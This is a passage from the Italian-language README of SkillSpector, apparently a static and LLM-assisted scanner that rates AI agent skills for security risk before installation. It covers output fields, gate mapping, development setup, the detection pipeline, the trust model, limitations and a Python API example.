"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
risk_assessment.severity∈LOW | MEDIUM | HIGH | CRITICAL.risk_assessment.recommendation∈SAFE | CAUTION | DO_NOT_INSTALL, mappato dalla severità:LOW → SAFE,MEDIUM → CAUTION,HIGH/CRITICAL → DO_NOT_INSTALL.metadata.llm_errorappare solo quando l'analisi LLM è stata richiesta ma non disponibile.metadata.inference_usagecontiene un record sanificato per ogni risposta LLM quando il provider espone contatori di token. È una lista vuota quando l'utilizzo non è disponibile; SkillSpector non stima mai token mancanti. I totali dei prompt includono le letture e scritture della cache, così che la determinazione dei prezzi a valle possa separare quelle partizioni in modo sicuro.model_sourcedistingue un modello provider identificato in modo indipendente dal modello esatto richiesto usato quando l'identità della risposta è assente o ambigua. SkillSpector attualmente non invia controlli della cache-prompt di Anthropic, quindi le sue richieste di scansione non possono selezionare i livelli separati di scrittura-cache da 5 minuti o 1 ora; i campi di risposta specifici per TTL vengono normalizzati in modo difensivo nel contatore aggregato di scrittura-cache.- Vedi Telemetria di utilizzo dell'inferenza per il contratto completo di provenienza, contabilità della cache, privacy, ingestione fail-closed e determinazione dei prezzi a valle.
- La forma completa per singolo problema è definita da
Finding.to_dict()in models.py; fai affidamento sui campi sopra e tratta qualsiasi campo aggiuntivo come best-effort.
Per strumenti CI/IDE, --format sarif emette SARIF 2.1.0.
Mappatura del gate consigliata
Quando si usa SkillSpector come gate di installazione, mappa la raccomandazione a un'azione:
recommendation | Azione suggerita |
|---|---|
SAFE | consenti |
CAUTION | chiedi / avvisa l'utente |
DO_NOT_INSTALL | blocca |
SkillSpector calcola la fascia di punteggio e la raccomandazione; quanto sia severo il gate (ad es. se CAUTION blocca in CI) è una decisione di policy per lo strumento integratore.
Sviluppo
Configurazione
Tutti i target make presuppongono che un ambiente virtuale sia già stato creato e attivato. Il Makefile usa uv se disponibile, altrimenti pip.```bash
Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git cd skillspector uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
Run tests
make test
Run tests with coverage
make test-cov
Run linting
make lint
Format code
make format
## Come Funziona
SkillSpector utilizza una pipeline di rilevamento a due stadi:
### Stadio 1: Analisi Statica
- Corrispondenza rapida basata su regex su 11 analizzatori statici
- Analisi comportamentale basata su AST che rileva chiamate pericolose (exec, eval, subprocess, ecc.)
- Ricerca live delle vulnerabilità tramite OSV.dev per CVE note nelle dipendenze
- Scansione di tutti i file idonei all'analisi nella skill
- Elevata recall (rileva la maggior parte dei problemi)
- Precisione moderata (alcuni falsi positivi)
Una firma OpenSSF Model Signing valida a livello root (`skill.oms.sig`) viene conservata
nell'inventario dei componenti come tipo `oms_signature`, ma esclusa dall'analisi statica e dei contenuti LLM.
I bundle OMS contengono necessariamente campi payload, firma e certificato lunghi codificati in base64;
i controlli generici di codice offuscato potrebbero altrimenti classificare erroneamente tali campi come contenuto eseguibile nascosto.
Il riconoscitore verifica la struttura minima OMS DSSE/in-toto; non verifica la firma,
la catena di certificati, la voce del registro di trasparenza o l'identità del firmatario. I file di firma
non validi o non riconosciuti vengono scansionati normalmente.
### Stadio 2: Analisi Semantica LLM (Opzionale)
- Valuta contesto e intento
- Filtra i falsi positivi
- Fornisce spiegazioni leggibili dall'uomo
- Migliora la precisione a ~87%
Il prompt LLM include protezioni anti-jailbreak per impedire che skill dannose manipolino l'analisi.
## Ricerca Live delle Vulnerabilità (SC4)
SC4 utilizza l'API [OSV.dev](https://osv.dev) per verificare le dipendenze rispetto all'intero database Open Source Vulnerabilities, che copre decine di migliaia di advisory su PyPI e npm.
- **Nessuna chiave API richiesta** — OSV.dev è gratuito e senza autenticazione.
- **Query batch** — tutte le dipendenze vengono verificate in un'unica chiamata HTTP.
- **Fallback automatico** — se OSV.dev non è raggiungibile (air-gapped/offline), viene utilizzata una piccola lista di fallback integrata.
- **Caching** — i risultati vengono memorizzati nella cache in memoria per 1 ora per evitare chiamate API ridondanti durante una sessione.
Lo strumento richiede accesso HTTPS in uscita a `api.osv.dev` per i dati live sulle vulnerabilità. Quando ciò non è disponibile, i risultati sono limitati alla lista di fallback statica.
## Modello di fiducia e trasferimento dati
SkillSpector è difesa in profondità, non una sandbox. Sappi cosa fa e cosa non fa prima di fare affidamento su di esso:
- **Non esegue mai la skill scansionata.** Tutta l'analisi è statica (regex, Python AST, YARA) più una valutazione LLM opzionale dei *contenuti* dei file — il codice della skill non viene mai eseguito.
- **L'analisi LLM invia i contenuti dei file idonei all'analisi al provider configurato.** Quando l'analisi LLM è abilitata (impostazione predefinita), i contenuti dei file vengono inviati all'endpoint `SKILLSPECTOR_PROVIDER` attivo. I file di firma OMS riconosciuti sono esclusi. Usa `--no-llm` per mantenere i contenuti in locale (solo analisi statica).
- **SC4 invia i nomi delle dipendenze a OSV.dev.** Il controllo della supply chain interroga [OSV.dev](https://osv.dev) con i nomi e le versioni dei pacchetti dichiarati dalla skill, per cercare CVE note. Questo è fondamentale per il controllo e viene eseguito anche con `--no-llm`. Invia le coordinate delle dipendenze (non i contenuti dei file), non richiede chiave API e ripiega su una lista inclusa quando OSV.dev non è raggiungibile.
- **Non mette in sandbox l'host.** SkillSpector segnala pattern rischiosi *prima* di installare una skill; non contiene né isola una skill che scegli comunque di installare.
## Limitazioni
- **Contenuti non in inglese**: Potrebbe non rilevare pattern in altre lingue
- **Attacchi basati su immagini**: Non può analizzare testo nelle immagini
- **Codice crittografato/binario**: Non può analizzare contenuti compilati o crittografati
- **Comportamento a runtime**: Solo analisi statica, nessuna esecuzione dinamica
- **SC4 offline**: Senza accesso di rete a `api.osv.dev`, SC4 utilizza una piccola lista di fallback statica
## Contesto di Ricerca
Basato sulla ricerca "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):
- **Dataset**: 42.447 skill dai principali marketplace
- **Vulnerabili**: Il 26,1% contiene almeno una vulnerabilità
- **Gravità elevata**: Il 5,2% mostra probabile intento dannoso
- **Risultato chiave**: Le skill con script eseguibili hanno 2,12 volte più probabilità di essere vulnerabili
## Integrazione API Python```python
from skillspector import graph
# Invoke the LangGraph workflow
result = graph.invoke({
"input_path": "/path/to/skill",
"output_format": "json", # terminal, json, markdown, or sarif
"use_llm": True, # False for static-only analysis
})
# Access results
print(f"Risk Score: {result['risk_score']}/100")
print(f"Severity: {result['risk_severity']}")
print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]:
print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
Licenza
Apache License 2.0 - consulta LICENSE per i dettagli.
Contributi
I contributi sono benvenuti! Ti preghiamo di leggere le nostre linee guida per i contributi e di inviare pull request.
Supporto
- Problemi: GitHub Issues